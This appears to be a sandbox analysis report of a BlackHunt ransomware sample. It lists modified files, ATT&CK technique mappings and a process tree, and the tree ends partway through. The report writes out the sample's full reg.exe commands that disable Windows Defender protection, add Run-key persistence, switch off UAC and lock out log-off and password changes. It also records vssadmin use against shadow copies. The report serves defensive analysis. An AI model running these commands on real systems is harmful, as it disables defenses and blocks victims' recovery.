File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\jfluid-server.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Monaco	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ja_5.5.0.165303.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Maldives	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_zh_CN.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_zh_CN.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\jmxremote.access	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\YST9YDT	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_partstyle.css	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_ja.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Yakutat	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_ja_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository_1.2.100.v20131209-2144.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\St_Johns	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Chita	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_zh_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_ja.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_ReadMe.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG.wmv	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_ja_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_ja_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3200	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2724	vssadmin.exe
2152	vssadmin.exe
3312	vssadmin.exe
3392	vssadmin.exe
3856	vssadmin.exe
5044	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5156	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5188	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
5264	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeRestorePrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeBackupPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeTakeOwnershipPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeAuditPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeSecurityPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeIncBasePriorityPrivilege	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Token: SeBackupPrivilege	3136	vssvc.exe
Token: SeRestorePrivilege	3136	vssvc.exe
Token: SeAuditPrivilege	3136	vssvc.exe
Token: SeBackupPrivilege	3628	wbengine.exe
Token: SeRestorePrivilege	3628	wbengine.exe
Token: SeSecurityPrivilege	3628	wbengine.exe
Token: SeSecurityPrivilege	4684	wevtutil.exe
Token: SeBackupPrivilege	4684	wevtutil.exe
Token: SeSecurityPrivilege	4676	wevtutil.exe
Token: SeBackupPrivilege	4676	wevtutil.exe
Token: SeSecurityPrivilege	4740	wevtutil.exe
Token: SeBackupPrivilege	4740	wevtutil.exe
Token: SeSecurityPrivilege	4752	wevtutil.exe
Token: SeBackupPrivilege	4752	wevtutil.exe
Token: SeSecurityPrivilege	4864	wevtutil.exe
Token: SeBackupPrivilege	4864	wevtutil.exe
Token: SeDebugPrivilege	5156	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 3016	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	29
PID 2884 wrote to memory of 3016	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	29
PID 2884 wrote to memory of 3016	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	29
PID 2884 wrote to memory of 3016	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	29
PID 2884 wrote to memory of 2144	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	31
PID 2884 wrote to memory of 2144	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	31
PID 2884 wrote to memory of 2144	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	31
PID 2884 wrote to memory of 2144	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	31
PID 2884 wrote to memory of 2996	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	33
PID 2884 wrote to memory of 2996	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	33
PID 2884 wrote to memory of 2996	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	33
PID 2884 wrote to memory of 2996	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	33
PID 3016 wrote to memory of 2408	3016	cmd.exe	34
PID 3016 wrote to memory of 2408	3016	cmd.exe	34
PID 3016 wrote to memory of 2408	3016	cmd.exe	34
PID 2884 wrote to memory of 2616	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	36
PID 2884 wrote to memory of 2616	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	36
PID 2884 wrote to memory of 2616	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	36
PID 2884 wrote to memory of 2616	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	36
PID 2884 wrote to memory of 2708	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	38
PID 2884 wrote to memory of 2708	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	38
PID 2884 wrote to memory of 2708	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	38
PID 2884 wrote to memory of 2708	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	38
PID 2144 wrote to memory of 2720	2144	cmd.exe	40
PID 2144 wrote to memory of 2720	2144	cmd.exe	40
PID 2144 wrote to memory of 2720	2144	cmd.exe	40
PID 2884 wrote to memory of 2628	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	125
PID 2884 wrote to memory of 2628	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	125
PID 2884 wrote to memory of 2628	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	125
PID 2884 wrote to memory of 2628	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	125
PID 2884 wrote to memory of 2600	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	42
PID 2884 wrote to memory of 2600	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	42
PID 2884 wrote to memory of 2600	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	42
PID 2884 wrote to memory of 2600	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	42
PID 2884 wrote to memory of 3000	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	44
PID 2884 wrote to memory of 3000	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	44
PID 2884 wrote to memory of 3000	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	44
PID 2884 wrote to memory of 3000	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	44
PID 2996 wrote to memory of 2636	2996	cmd.exe	46
PID 2996 wrote to memory of 2636	2996	cmd.exe	46
PID 2996 wrote to memory of 2636	2996	cmd.exe	46
PID 2884 wrote to memory of 2068	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	47
PID 2884 wrote to memory of 2068	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	47
PID 2884 wrote to memory of 2068	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	47
PID 2884 wrote to memory of 2068	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	47
PID 2884 wrote to memory of 2500	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	48
PID 2884 wrote to memory of 2500	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	48
PID 2884 wrote to memory of 2500	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	48
PID 2884 wrote to memory of 2500	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	48
PID 2884 wrote to memory of 2776	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	50
PID 2884 wrote to memory of 2776	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	50
PID 2884 wrote to memory of 2776	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	50
PID 2884 wrote to memory of 2776	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	50
PID 2616 wrote to memory of 2672	2616	cmd.exe	52
PID 2616 wrote to memory of 2672	2616	cmd.exe	52
PID 2616 wrote to memory of 2672	2616	cmd.exe	52
PID 2884 wrote to memory of 2612	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	53
PID 2884 wrote to memory of 2612	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	53
PID 2884 wrote to memory of 2612	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	53
PID 2884 wrote to memory of 2612	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	53
PID 2884 wrote to memory of 2748	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	55
PID 2884 wrote to memory of 2748	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	55
PID 2884 wrote to memory of 2748	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	55
PID 2884 wrote to memory of 2748	2884	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
"C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1292
- C:\Windows\System32\cmd.exe
